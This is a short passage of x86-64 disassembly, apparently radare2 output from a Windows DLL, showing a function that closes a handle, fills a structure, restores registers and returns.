mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x20]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r14
mov rax, rsi
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180090f98
nop
int3